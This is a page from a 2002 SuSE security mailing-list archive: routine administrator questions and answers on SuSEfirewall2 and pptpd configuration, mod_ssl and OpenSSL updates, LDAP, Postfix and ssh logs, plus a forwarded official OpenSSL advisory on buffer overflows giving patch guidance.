Hi List, i still have SuSE7.0 running on my machine with apache and php3. Now there is the newest sec.-update for apache available at SuSE but there is no mod_ssl!! But I have to update this modul. I took a look in the section for newer SuSE-releases and there are mod_ssl-packages available! In June was a mod_ssl-package available for SuSE7.0 (which isn't there anylonger, don't know why), this isn't working with the apache-version 1.3.19-128 (only with the other version of apache: 1.3.19-115 -- but this version is also deleted from the SuSE-server) ... Short summary of my question: Where is the SSL module for the apache update to version 1.3.19-128 ? Regards Ruediger

3 2

Re: [suse-security] Questions
by GentooRulez 31 Jul '02

31 Jul '02

>1) can I take out of the kernel such services as ftp, telnet, etc., >without it affects me the functionality characteristic of the server? >For example: I want to compile the kernel with the basic thing that >specifies the transparent proxy. ftp, telnet etc are ip based protocols, but you need your ip-support for the the transparent proxy. Ensure that no inetd and according daemon are running (killall inetd ftpd ect.) Use an simple iptables-set to realize the transparent proxy and to drop all other packets. >2) like I can know you to work and do minimum services specify the >server that will have the firewall? as above. set general INPUT policy to DROP or DENY and allow only the services you really need >3) to compile, is it necessary to answer the questions one for one? I am >not able to -for example -, to modify a supposition file that contains >the questions, and then that the utility characteristic of the compiler >receives it as entrance parameter? more easy: cd /usr/src/linux make menuconfig >I wait to have been clear and concise. Excuse my English. Sure :O) Yours Michael

1 0

Questions
by Grupo Dignitas 31 Jul '02

31 Jul '02

Friends: We are implemented a structure of security in a company, based on Linux. The resources with those that we count are 4 servers HP tc2110, each one of which will have SuSE Linux completing diverse functions (firewall, proxy, web server, database server, etc). My idea is the following one: I want to compile the kernel "to measure" (I already made it several times for other things) according to the functions characteristic of each server, for that which I have several questions: 1) can I take out of the kernel such services as ftp, telnet, etc., without it affects me the functionality characteristic of the server? For example: I want to compile the kernel with the basic thing that specifies the transparent proxy. 2) like I can know you to work and do minimum services specify the server that will have the firewall? 3) to compile, is it necessary to answer the questions one for one? I am not able to -for example -, to modify a supposition file that contains the questions, and then that the utility characteristic of the compiler receives it as entrance parameter? I wait to have been clear and concise. Excuse my English. Ernesto

1 0

Re: OpenSSL and FreeSWAN 1.94
by Christoph Egger 31 Jul '02

31 Jul '02

On Wednesday, 31. July 2002 16:17, Christoph Egger wrote: > Hi! > > After updating OpenSSL on both gateways, FreeSWAN 1.94 doesn't work at all. > It worked fine before. There's no packing going through the tunnel. > > Need urgent help! Sorry, wrong alarm. Was a routing problem. -- CU, Christoph

1 0

OpenSSL and FreeSWAN 1.94
by Christoph Egger 31 Jul '02

31 Jul '02

Hi! After updating OpenSSL on both gateways, FreeSWAN 1.94 doesn't work at all. It worked fine before. There's no packing going through the tunnel. Need urgent help! -- CU, Christoph

1 0

RE: [suse-security] SuSE Security Announcement: openssl (SuSE-SA:2002:027)
by Alan Rouse 31 Jul '02

31 Jul '02

Further investigation brought me to this link: http://online.securityfocus.com/archive/1/285018/2002-07-28/2002-08-03/0 OpenPKG is recommending rebuilding quite a list of packages after updating OpenSSL. Is that going to be necessary for us? -----Original Message----- From: Alan Rouse Sent: Wednesday, July 31, 2002 9:03 AM To: suse-security(a)suse.com Subject: RE: [suse-security] SuSE Security Announcement: openssl (SuSE-SA:2002:027) So, if I'm using OpenSSH but (otherwise) not OpenSSL, will my remedy require an update of OpenSSH or of OpenSSL, or both? -----Original Message----- From: Olaf Kirch [mailto:okir@suse.de] Sent: Wednesday, July 31, 2002 4:14 AM To: Graham Murray Cc: suse-security(a)suse.com Subject: Re: [suse-security] SuSE Security Announcement: openssl (SuSE-SA:2002:027) On Tue, Jul 30, 2002 at 09:58:43PM +0100, Graham Murray wrote: > Openssh uses openssl. Is openssh vulnerable to any of the openssl > exploits? Potentially, yes. It may be possible to trigger the ASN.1 signedness bug when decoding RSA keys during/after RSA authentication. The other bugs, no, because OpenSSH doesn't use SSL. Olaf -- Olaf Kirch | Anyone who has had to work with X.509 has probably okir(a)suse.de | experienced what can best be described as ---------------+ ISO water torture. -- Peter Gutmann -- To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com For additional commands, e-mail: suse-security-help(a)suse.com Security-related bug reports go to security(a)suse.de, not here -- To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com For additional commands, e-mail: suse-security-help(a)suse.com Security-related bug reports go to security(a)suse.de, not here

1 0

RE: [suse-security] SuSE Security Announcement: openssl (SuSE-SA: 2002:027)
by Hemsley, Trevor 31 Jul '02

31 Jul '02

Is it intentional that the new mod_php4-3650 patch for Suse 7.1 includes mod_php4-roxen-4.0.4pl1-142? On previous updates the roxen part has been packaged separately...

1 0

Antwort: Re: [suse-security] SuSE Security Announcement: openssl (SuSE-SA:2002:027)
by marko.muncan.mm＠bayer-ag.de 31 Jul '02

31 Jul '02

Please correct me if i am wrong, but i thought OpenSSL is a Serverpackage which runs on Servers and SSL implemented in Webbrowser just snatch at this implementation?! Mit freundlichen Grüßen Marko Muncan arxes Network Communication Consulting AG Im Auftrag der BBS GmbH IM-CAS-CSE Tel.: +49 214/30-31000 E-Mail: marko.muncan.mm(a)bayer-ag.de Internet : http://www.bayer-ag.de |---------+---------------------------------------------------------------> | | | | | | | | | | | | | | | | | | | | suse-security-return-14937-marko.muncan.mm=bayer-ag.de(a)suse.c| | | om | | | Received : 31.07.2002 11:09 | | | | |---------+---------------------------------------------------------------> >---------------------------------------------------------------------------------------------------------| | | | | | An: suse-security(a)suse.com | | Kopie: | | Thema: Re: [suse-security] SuSE Security Announcement: openssl (SuSE-SA:2002:027) | >---------------------------------------------------------------------------------------------------------| Hi, does anyone know if web browsers like Opera, Netscape etc. are vulnerable, too? What kind of ssl implementation do they use, openssl or. sth else? Thx! Best regards, Frank -- Dipl.-Inform. Frank Steiner mailto:fst@informatik.uni-kiel.de Lehrstuhl f. Programmiersprachen mailto:fsteiner@web.de CAU Kiel, Olshausenstraße 40 Phone: +49 431 880-7265, Fax: -7613 D-24098 Kiel, Germany http://www.informatik.uni-kiel.de/~fst/ -- To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com For additional commands, e-mail: suse-security-help(a)suse.com Security-related bug reports go to security(a)suse.de, not here

2 1

Re: [suse-security] SuSE Security Announcement: openssl (SuSE-SA:2002:027)
by Oliver Bleutgen 31 Jul '02

31 Jul '02

Quick question, on a 7.0 system, my apache has (stock suse, newest update) mod_ssl configured in, but seems not to use /usr/lib/libssl.so* /usr/lib/libcrypto.so* but instead /usr/lib/apache/libssl.so lisa:/home/bleutgen/software/suse_update/020731 # fuser -v /usr/lib/libssl.so* /usr/lib/libcrypto.so* lisa:/home/bleutgen/software/suse_update/020731 # but lisa:/home/bleutgen/software/suse_update/020731 # fuser -v /usr/lib/apache/libssl.so USER PID ACCESS COMMAND /usr/lib/apache/libssl.so root 27258 ....m httpd root 27259 ....m httpd root 27260 ....m httpd root 27261 ....m httpd root 27262 ....m httpd root 27265 ....m httpd and lisa:/home/bleutgen/software/suse_update/020731 # rpm -qf /usr/lib/apache/libssl.so mod_ssl-2.8.2-33 So, my question is, does updating openssl really upgrade mod_ssl? Probably I'm just confused. cheers, oliver

2 1

LDAP, TLS, SSL
by Mailinglist 30 Jul '02

30 Jul '02

Hallo Liste ! Ich bin gerade dabei mich in LDAP einzuarbeiten. Ziel dabei soll eine zentrale Userdatenbank sein, an der sowohl Windows- als auch Unix-Clients authenrifiziert werden sollen. LDAP laeuft soweit und die Authentifizierung klappt auch erstmal. Allerdings gibt es da ein Verstaendnisproblem bezueglich der Verschluesselung: 1. Die Verbindung Unix<->LDAP-Server wird durch TLS abgesichert, da die Clients den Server gegen ein CA-Certificate checken sind als auch Man-In-The-Middle-Attacken ausgeschlossen (neben dem normalen Mitlauschen). Wozu brauche ich dann SASL ? 2. Die Windows-Clients authentifierzieren sich gegen einen Samba-PDC. Welche Verfahren kommen hier zum Einsatz um Authentizitaet und Intigritaet sicherzustellen ? Habe bereits google gewaelzt, aber mehr als 100te howtos hab' ich leider nicht gefunden. Vielen Dank, Jens Braeuer

1 0

OpenSSL Security Altert - Remote Buffer Overflows
by Preston Kutzner 30 Jul '02

30 Jul '02

This is a forwarded message From: Ben Laurie <ben(a)algroup.co.uk> To: OpenSSL Announce <openssl-announce(a)openssl.org>, Bugtraq <BUGTRAQ(a)securityfocus.com>, Apache SSL Announce <apache-sslannounce(a)lists.aldigital.co.uk> Date: Tuesday, July 30, 2002, 4:58:19 AM Subject: OpenSSL Security Altert - Remote Buffer Overflows ===8<==============Original message text=============== OpenSSL Security Advisory [30 July 2002] This advisory consists of two independent advisories, merged, and is an official OpenSSL advisory. Advisory 1 ========== A.L. Digital Ltd and The Bunker (http://www.thebunker.net/) are conducting a security review of OpenSSL, under the DARPA program CHATS. Vulnerabilities --------------- All four of these are potentially remotely exploitable. 1. The client master key in SSL2 could be oversized and overrun a buffer. This vulnerability was also independently discovered by consultants at Neohapsis (http://www.neohapsis.com/) who have also demonstrated that the vulerability is exploitable. Exploit code is NOT available at this time. 2. The session ID supplied to a client in SSL3 could be oversized and overrun a buffer. 3. The master key supplied to an SSL3 server could be oversized and overrun a stack-based buffer. This issues only affects OpenSSL 0.9.7 before 0.9.7-beta3 with Kerberos enabled. 4. Various buffers for ASCII representations of integers were too small on 64 bit platforms. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2002-0656 to issues 1-2, CAN-2002-0657 to issue 3, and CAN-2002-0655 to issue 4. In addition various potential buffer overflows not known to be exploitable have had assertions added to defend against them. Who is affected? ---------------- Everyone using OpenSSL 0.9.6d or earlier, or 0.9.7-beta2 or earlier or current development snapshots of 0.9.7 to provide SSL or TLS is vulnerable, whether client or server. 0.9.6d servers on 32-bit systems with SSL 2.0 disabled are not vulnerable. SSLeay is probably also affected. Recommendations --------------- Apply the attached patch to OpenSSL 0.9.6d, or upgrade to OpenSSL 0.9.6e. Recompile all applications using OpenSSL to provide SSL or TLS. A patch for 0.9.7 is available from the OpenSSL website (http://www.openssl.org/) Servers can disable SSL2, alternatively disable all applications using SSL or TLS until the patches are applied. Users of 0.9.7 pre-release versions with Kerberos enabled will also have to disable Kerberos. Client should be disabled altogether until the patches are applied. Known Exploits -------------- There are no know exploits available for these vulnerabilities. As noted above, Neohapsis have demonstrated internally that an exploit is possible, but have not released the exploit code. References ---------- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0655 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0656 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0657 Acknowledgements ---------------- The project leading to this advisory is sponsored by the Defense Advanced Research Projects Agency (DARPA) and Air Force Research Laboratory, Air Force Materiel Command, USAF, under agreement number F30602-01-2-0537. The patch and advisory were prepared by Ben Laurie. Advisory 2 ========== Vulnerabilities --------------- The ASN1 parser can be confused by supplying it with certain invalid encodings. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2002-0659 to this issue. Who is affected? ---------------- Any OpenSSL program which uses the ASN1 library to parse untrusted data. This includes all SSL or TLS applications, those using S/MIME (PKCS#7) or certificate generation routines. Recommendations --------------- Apply the patch to OpenSSL, or upgrade to OpenSSL 0.9.6e. Recompile all applications using OpenSSL. Users of 0.9.7 pre-release versions should apply the patch or upgrade to 0.9.7-beta3 or later. Recompile all applications using OpenSSL. Exploits -------- There are no known exploits for this vulnerability. References ---------- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0659 Acknowledgements ---------------- This vulnerability was discovered by Adi Stav <stav(a)mercury.co.il> and James Yonan <jim(a)ntlp.com> independently. The patch is partly based on a version by Adi Stav. The patch and advisory were prepared by Dr. Stephen Henson. -- http://www.apache-ssl.org/ben.html http://www.thebunker.net/ Available for contract work. "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff ===8<===========End of original message text=========== -- Best regards, Preston mailto:grdnwsl@mrichi.com

1 0

Re: [suse-security] SuSEfirewall2 , pptp, and port forwarding
by Robert Fenney 30 Jul '02

30 Jul '02

O.K., Sorry for this being so long but here is my problem. I am trying to get both pptpd and SuSEfirewall2 working on the same system. I have each working by them selves. I do have routing turned on between eth0 and eth1. Included are the configuration files for both SuSEfirewall2 and pptpd. I am getting the error: Cannot determine ethernet address for proxy ARP When I connect with the pptp session. But I do have a session. Then when I ping I get the error message: SuSE-FW-DROP-DEFAULT from the firewall rules dump it does look like I am not routing to eth1. Any ideas on how to fix this. I did read about scripting the device interface but it seems to me that I am missing somthing. Thanks for any help! Robert SuSEfirewall2 file: FW_DEV_EXT="eth0 ppp0" FW_DEV_INT="eth1" FW_DEV_DMZ="" FW_ROUTE="yes" FW_MASQUERADE="yes" FW_MASQ_DEV="eth0" FW_MASQ_NETS="0/0" FW_PROTECT_FROM_INTERNAL="no" FW_AUTOPROTECT_SERVICES="yes" FW_SERVICES_EXT_TCP="1723 53 http https ssh" FW_SERVICES_EXT_UDP="53 500" FW_SERVICES_EXT_IP="gre 50 51" FW_SERVICES_DMZ_TCP="" FW_SERVICES_DMZ_UDP="" FW_SERVICES_DMZ_IP="" FW_SERVICES_INT_TCP="1723" FW_SERVICES_INT_UDP="53 500" FW_SERVICES_INT_IP="gre 50 51" FW_TRUSTED_NETS="" FW_ALLOW_INCOMING_HIGHPORTS_TCP="no" FW_ALLOW_INCOMING_HIGHPORTS_UDP="DNS" FW_SERVICE_AUTODETECT="yes" FW_SERVICE_DNS="yes" FW_SERVICE_DHCLIENT="no" FW_SERVICE_DHCPD="yes" FW_SERVICE_SQUID="no" FW_SERVICE_SAMBA="no" FW_FORWARD="" FW_FORWARD_MASQ="0/0,192.168.20.115,tcp,5631 0/0,192.168.20.udp,5632" FW_REDIRECT="" FW_LOG_DROP_CRIT="yes" FW_LOG_DROP_ALL="no" FW_LOG_ACCEPT_CRIT="yes" FW_LOG_ACCEPT_ALL="no" FW_LOG="--log-level warning --log-tcp-options --log-ip-option --log-prefix SuSE-FW" FW_KERNEL_SECURITY="yes" FW_STOP_KEEP_ROUTING_STATE="no" FW_ALLOW_PING_FW="yes" FW_ALLOW_PING_DMZ="no" FW_ALLOW_PING_EXT="no" FW_ALLOW_FW_TRACEROUTE="yes" FW_ALLOW_FW_SOURCEQUENCH="yes" FW_ALLOW_FW_BROADCAST="no" FW_IGNORE_FW_BROADCAST="yes" FW_ALLOW_CLASS_ROUTING="no" pptpd.conf: speed 115200 debug localip 192.168.20.236-245 remoteip 192.168.10.226-235 listen 10.0.1.254 pidfile /var/run/pptpd.pid options: name mars debug noauth +chap +chapms +chapms-v2 mppe-40 #mppe-128 mppe-stateless #require-chap proxyarp On Monday, July 29, 2002, at 12:46 AM, Manfred Larcher wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Am Freitag, 26. Juli 2002 08:37 schrieb Robert Fenney: >> Thanks! I got that working right away. No if I could just get this pptp >> stuff working.... >> >> Robert > > You should explain what you mean with pptp stuff... > If you want to connect to an Alcatel ADSL Modem you have to insert the > "GRE" > protocol to your firewall rules, if you use SuSE Firewall2: > > # For VPN/Routing which END at the firewall!! > FW_SERVICES_INT_IP="gre" > > > cu > Manfred > - -- > > - ------------------------------------ > Pirlo Ges.m.b.H. & Co > Manfred Larcher > > Hugo Petter Str. 8-14 > A-6333 Kufstein > Tel. +43 5372 64923 65 oder 35 > Fax +43 5372 64923 61 > mailto:mlarcher@pirlo.com > http://www.pirlo.com > - ------------------------------------ > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.6 (GNU/Linux) > Comment: For info see http://www.gnupg.org > > iD8DBQE9RPLo/ZrEMf+80q8RAlg9AJ4gZ0nqJ6E6MI1+96+5OAxY52qEpQCdEbuK > Npfe+e64zS+rdjTELMf7SPY= > =/jTR > -----END PGP SIGNATURE----- >

1 0

ACLs with SuSE 8.0 ???
by M. Neubert 29 Jul '02

29 Jul '02

hello list, I think this question is security related... Can I use acl's with SuSE 8.0? The file-utilities exist on my box but when I use setfacl this error occurs: "Operation not supported". Is a kernel patch required? Which filesystems supports acl's? Anybody could help me? Greetings Mario

5 5

Fwd: Re: [suse-security] apache and ssl module
by Christian Weickhmann 29 Jul '02

29 Jul '02

Hello Wouter (Whatever that means *???*) > I know i most make a server Certificated file. but i dont know how i most > make it. See /etc/sysconfig/apache 'cd /usr/share/doc/packages/mod_ssl; ./certificate.sh' as root. CU, Christian -- "Termiter's argument that God is His own grandmother generated a surprising amount of controversy among Church leaders, who on the one hand considered the argument unsupported by scripture but on the other hand were unwilling to risk offending God's grandmother." -- Len Cool, "American Pie"

1 0

apache and ssl module
by Wouter 29 Jul '02

29 Jul '02

Hi, I have upgrade suse 7.1 to 8.0 a few weeks ago, It works fine. But i have only one problem, If i try to install the ssl module for apache. When i have install mod_ssl and restart apache he says he starts good. But he dont start good. if i check then the error log file is see the follow (/var/log/httpd/error_log) Sun Jul 28 21:32:25 2002] [error] mod_ssl: Init: Unable to read server certificate from file /etc/httpd/ssl.crt/server.crt (OpenSSL library error follows) [Sun Jul 28 21:32:25 2002] [error] OpenSSL: error:0D09F007:asn1 encoding routines:d2i_X509:expecting an asn1 sequence I know i most make a server Certificated file. but i dont know how i most make it. if i do this openssl req -noout -text -in server.csr i see the follow openssl x509 -noout -text -in server.crt I see unable to load certificate 4277:error:0906D06C:PEM routines:PEM_read_bio:no start line:pem_lib.c:662:Expecting: TRUSTED CERTIFICATE Can someone help me whit this problem ? Greets Wouter Groeten Wouter

2 1

Re: Antwort: [suse-security] AUTH SMTP with POSTFIX
by jja wikon 29 Jul '02

29 Jul '02

Hi, danke für der Antwort. 1)...da hast du recht mit Englisch. 2)...mit die access-table und Schutz durch "Restrictions" kann man einzelne Adressen, Nutzer oder Host für bestimmte Aktionen freizugeben oder zu blocken. 3)...der Mail-Server wird nur für den internen Gebrauch genutzt. 4)...die eMail's werden direkt an der Server geschickt (MX Eintrag beim Provider). 5)...jetzt muss er alle an unser Domain geschickte eMail's annehmen, weiter leiten darf er natürlich die eMail's, die von internen Adressen kommen. 6)...wir haben der eMailServer hinter Firewall "värschtekt", er prüft MAC-Adresse von interne Netz (Router), damit wollen wir die Fälschung von IP-Nummer vermeinden. Mit freundlichen Grüßen JJA > HI, > > 1) ... besseres englisch wäre schon angesagt ... hab mich ganz schön > abgequält ... > 2) ... ich würde postfix unter den TCPWRAPPER laufen lassen, so kannst > du schon mal steuern, wer auf den daemon zugreifen darf, und wer nicht ... > 3) ... wird der Mail-Server nur für den internen Gebrauch genutzt ? > wenn ja, denke ich benötigt man nicht unbedingt ne "authentication" ( > authetifizierung ) > 4) ... wie werden die eMail's "rein kommen" ? Werden diese mit > fetchmail vom Provider abgeholt, oder direkt an den Server ( über smtp ) > geschickt ( MX Eintrag beim Provider ) ? > 5) ... sollte sie über fetchmail abgeholt werden, muss ein cron-job > erstellt werden ... > 6) ... sichere ab, dass niemand an andere Domänen als an die interne > eMail's versenden darf, solange die Mail nicht von internen Adressen kommt > ... ( falls MX Eintrag beim Provider ) > 7) ... mit Authetifizierung und SMTP kenne ich mich leider "noch" nicht > so doll aus ... aber ich denke plain ist doch ok ( wenn's "nur" ne kleine > Firma sein soll ) > 8) ... mir fällt im moment nix mehr ein .. ist etwas früh ... bis denn > > Mit freundlichen Grüßen > Bruno Leonhardt > > CLP Domino R5 Systemadministrator > > ----------- > AnalyTek Systemhaus > Hospital Str. 2a > D-65589 Hadamar > > Besuchen Sie uns im Internet unter : http://www.analytek.de >

1 0

sshd log problem
by webmaster＠kreorg.hu 28 Jul '02

28 Jul '02

Hi List, Please, help me understand these ssh logs below> 1) how it is logged normally Jul 28 09:45:23 mand sshd2[159]: connection from "213.163.25.176" - # me logging in from remote Jul 28 09:45:24 mand sshd[628]: log: Generating 768 bit RSA key. Jul 28 09:45:25 mand sshd[628]: log: RSA key generation complete. Jul 28 09:45:25 mand sshd[628]: log: Connection from 213.163.25.176 port 1075 Jul 28 09:45:36 mand sshd[628]: log: Password authentication for antal accepted. Jul 28 09:45:46 mand su: (to root) antal on /dev/pts/0 Jul 28 09:46:05 mand sshd[628]: log: Closing connection to 213.163.25.176 2) now what puzzles me Jul 28 13:42:11 mand sshd2[159]: connection from "209.151.75.1" - # unknown IP Jul 28 13:52:17 mand sshd2[1284]: LoginGraceTime exceeded. Nothing between the two sshd2 processes. How could it be tarced back what did happen between? Thanx> Antal ++++++++++++++++++++ Kreorg Oktat�k�zpont Hunyadi t�r 8, Budapest 1067 ++++++++++++++++++++ kreorg(a)kreorg.hu http://www.kreorg.hu ++++++++++++++++++++ Grid - Er� a v�ltoz�shoz.

2 1

No Ping from FW with SuSE FW2
by Christian Weickhmann 28 Jul '02

28 Jul '02

Hi folks! I'm wondering how I get SuSE FW2 to let me ping from the firewall PC itself. (With SuSE 7.4) PCs on the masqueraded net can ping via routing but the firewall itself can't. /etc/rc.config.d/firewall2.rc.config: # 2.) # Which is the interface that points to the internet/untrusted networks? FW_DEV_EXT="ppp0" # # 3.) # Which is the interface that points to the internal network? FW_DEV_INT="eth0" # # 4.) # Which is the interface that points to the dmz or dialup network? FW_DEV_DMZ="" # # 5.) # Should routing be enabled? FW_ROUTE="yes" # # 6.) # Do you want to masquerade internal networks to the outside? FW_MASQUERADE="yes" FW_MASQ_DEV="$FW_DEV_EXT" # Which internal computers/networks are allowed to access the internet # directly (not via proxys on the firewall)? FW_MASQ_NETS="192.168.0.0/24" # # 7.) # Do you want to protect the firewall from the internal network? FW_PROTECT_FROM_INTERNAL="no" # # 8.) # Do you want to autoprotect all running network services on the firewall? FW_AUTOPROTECT_SERVICES="yes" # # 9.) # Which services ON THE FIREWALL should be accessible from either the internet # (or other untrusted networks), the dmz or internal (trusted networks)? # # Common: smtp domain FW_SERVICES_EXT_TCP="" # Common: domain FW_SERVICES_EXT_UDP="" # Common: domain # For VPN/Routing which END at the firewall!! FW_SERVICES_EXT_IP="" # # Common: smtp domain FW_SERVICES_DMZ_TCP="" # Common: domain FW_SERVICES_DMZ_UDP="" # For VPN/Routing which END at the firewall!! FW_SERVICES_DMZ_IP="" # # Common: ssh smtp domain FW_SERVICES_INT_TCP="ssh domain" # Common: domain syslog FW_SERVICES_INT_UDP="domain" # For VPN/Routing which END at the firewall!! FW_SERVICES_INT_IP="" # # 10.) # Which services should be accessible from trusted hosts/nets? FW_TRUSTED_NETS="" # # 11.) # How is access allowed to high (unpriviliged [above 1023]) ports? # Common: "ftp-data", better is "yes" to be sure that everything else works :-( FW_ALLOW_INCOMING_HIGHPORTS_TCP="" # Common: "DNS" or "domain ntp", better is "yes" to be sure ... FW_ALLOW_INCOMING_HIGHPORTS_UDP="" # # 12.) # Are you running some of the services below? FW_SERVICE_AUTODETECT="no" # Autodetect the services below when starting FW_SERVICE_DNS="yes" FW_SERVICE_DHCLIENT="no" FW_SERVICE_DHCPD="no" FW_SERVICE_SQUID="no" FW_SERVICE_SAMBA="no" # # 13.) # Which services accessed from the internet should be allowed to the # dmz (or internal network - if it is not masqueraded)? FW_FORWARD="" # Beware to use this! # # 14.) # Which services accessed from the internet should be allowed to masqueraded # servers (on the internal network or dmz)? FW_FORWARD_MASQ="" # Beware to use this! # # 15.) # Which accesses to services should be redirected to a localport on the # firewall machine? FW_REDIRECT="" # # 16.) # Which logging level should be enforced? FW_LOG_DROP_CRIT="yes" FW_LOG_DROP_ALL="no" FW_LOG_ACCEPT_CRIT="yes" FW_LOG_ACCEPT_ALL="no" FW_LOG="--log-level warning --log-tcp-options --log-ip-option --log-prefix SuSE-FW" # # 17.) # Do you want to enable additional kernel TCP/IP security features? FW_KERNEL_SECURITY="yes" # # 18.) # Keep the routing set on, if the firewall rules are unloaded? FW_STOP_KEEP_ROUTING_STATE="no" # # 19.) # Allow (or don't) ICMP echo pings on either the firewall or the dmz from # the internet? FW_ALLOW_PING_FW="yes" FW_ALLOW_PING_DMZ="no" FW_ALLOW_PING_EXT="yes" FW_ALLOW_PING_INTERNET="yes" # 20.) FW_ALLOW_FW_TRACEROUTE="yes" # 21.) # Allow ICMP sourcequench from your ISP? FW_ALLOW_FW_SOURCEQUENCH="yes" # 22.) # Allow/Ignore IP Broadcasts? FW_ALLOW_FW_BROADCAST="no" FW_IGNORE_FW_BROADCAST="yes" # # 23.) # Allow same class routing per default? FW_ALLOW_CLASS_ROUTING="no" # # 25.) #FW_CUSTOMRULES="/etc/rc.config.d/firewall2-custom.rc.config" ## end of file Thanks, Christian -- A neighbor came to Nasrudin, asking to borrow his donkey. "It is out on loan," the teacher replied. At that moment, the donkey brayed loudly inside the stable. "But I can hear it bray, over there." "Whom do you believe," asked Nasrudin, "me or a donkey?"

2 5

SuSE-FW-NO_ACCESS_INT->FWEXT
by j0nas 27 Jul '02

27 Jul '02

I'm using SuSE 8.0 with SuSEfirewall2, and on my firewall I have ports for ssh,smtp,http and identd open to the outside, and the same ports plus pop3+samba open for the internal network. I also have an extra port (not 21) opened for my ftp service. My problem is that I can access all resources from the inside using the internal ip-adress of the firewall, ie I can view the web pages when calling http://192.168.0.1/ from any other machine on the internal network. It also works when I try to access the web server from the outside (using the external ip), BUT when I try to access the web server using the external ip (or the domain pointing to my firewall) nothing happens and i get this logged in /var/log/firewall: Jul 27 14:25:22 linux kernel: SuSE-FW-NO_ACCESS_INT->FWEXT IN=eth0 OUT= MAC=00:50:8b:03:d1:60:00:c0:26:59:d9:56:08:00 SRC=192.168.0.5 DST=213.66.148.171 LEN=64 TOS=0x08 PREC=0x00 TTL=128 ID=33688 DF PROTO=TCP SPT=3802 DPT=80 WINDOW=64240 RES=0x00 SYN URGP=0 OPT (020405B4010303000101080A000000000000000001010402) Same goes for when I try to access any of the other services from the inside using the external ip. How can I make this work? Here is my /etc/sysconfig/SuSEfirewall2 setup: FW_DEV_EXT="eth1" FW_DEV_INT="eth0" FW_DEV_DMZ="" FW_ROUTE="yes" FW_MASQUERADE="yes" FW_MASQ_DEV="eth1" FW_MASQ_NETS="192.168.0.0/24" FW_PROTECT_FROM_INTERNAL="yes" FW_AUTOPROTECT_SERVICES="yes" FW_SERVICES_EXT_TCP="113 8000 http smtp ssh" FW_SERVICES_EXT_UDP="" FW_SERVICES_EXT_IP="" FW_SERVICES_DMZ_TCP="" FW_SERVICES_DMZ_UDP="" FW_SERVICES_DMZ_IP="" FW_SERVICES_INT_TCP="113 139 445 8000 http pop3 pop3s smtp ssh" FW_SERVICES_INT_UDP="137:138" FW_SERVICES_INT_IP="" FW_TRUSTED_NETS="192.168.0.0/24" FW_ALLOW_INCOMING_HIGHPORTS_TCP="8000" FW_ALLOW_INCOMING_HIGHPORTS_UDP="DNS" FW_SERVICE_AUTODETECT="yes" FW_SERVICE_DNS="no" FW_SERVICE_DHCLIENT="yes" FW_SERVICE_DHCPD="no" FW_SERVICE_SQUID="no" FW_SERVICE_SAMBA="no" FW_FORWARD="" FW_FORWARD_MASQ="" FW_REDIRECT="" FW_LOG_DROP_CRIT="yes" FW_LOG_DROP_ALL="no" FW_LOG_ACCEPT_CRIT="yes" FW_LOG_ACCEPT_ALL="no" FW_LOG="--log-level warning --log-tcp-options --log-ip-option --log-prefix SuSE-FW" FW_KERNEL_SECURITY="yes" FW_STOP_KEEP_ROUTING_STATE="no" FW_ALLOW_PING_FW="yes" FW_ALLOW_PING_DMZ="no" FW_ALLOW_PING_EXT="no" FW_ALLOW_FW_TRACEROUTE="yes" FW_ALLOW_FW_SOURCEQUENCH="yes" FW_ALLOW_FW_BROADCAST="no" FW_IGNORE_FW_BROADCAST="yes" FW_ALLOW_CLASS_ROUTING="no" Any help would be appreciated, thank you! Jonas

1 0

Re: [SLE] Security Help needed
by Joe & Sesil Morris (NTM) 27 Jul '02

27 Jul '02

Anders Johansson wrote: >On Saturday 27 July 2002 11.59, Joe & Sesil Morris (NTM) wrote: > > >>I found out yesterday that our server has been intruded. The intruder >>even was able to su to root (according to the logs). They logged in via >>/dev/console, and via the bash history I was able to get the commands >>they typed in. They are as follows. >> >> ><snip bash_history> > >This is what you get when you use mc in a bash shell. Try it. The initial >prompt command is to give mc control over the shell, and the cd commands are >just that. They cd to various directories. > > Thanks Anders and others. You all are correct. The escape sequences were mc's doing. That's a relief. >/dev/console is on your local machine. As far as I know you can't get to it >over the net. Do you have your box physically secure? > > After looking again at the logs, and comparing them to my box here at home, I guess it wasn't a hack, but an unexplained reboot. I saw the following first: Jul 26 00:35:21 server kernel: klogd 1.4.1, ---------- state change ---------- followed by another reboot at 6:35, ie. Jul 26 06:35:23 server syslogd 1.4.1: restart. In the sequence at 6:35, I noticed an su to root on /dev/console. I guess it is one of the services, not a hacker. It just corresponded with a lot of firewall rejects. >What was in your logfile that made you suspect you had had an intruder? > See above. I will start looking at hardware reasons for the reboot, now that I know the strange codes in root's bash history was made by mc. Thanks much for all of your help, once more... :-) BTW, I have all security patches applied (I just ran YOU again today to make sure). I also checked again, and I do have ports 53, 68, and 123 UDP open, all TCP blocked internet side. At least I will sleep better tonight. Thanks again. -- Joe & Sesil Morris New Tribes Mission Email Address: Joe_Morris(a)ntm.org Web Address: http://www.mydestiny.net/~joe_morris Registered Linux user 231871 God said, I AM that I AM. I say, by the grace God, I am what I am.

1 0

[SLE] Security Help needed
by Joe & Sesil Morris (NTM) 27 Jul '02

27 Jul '02

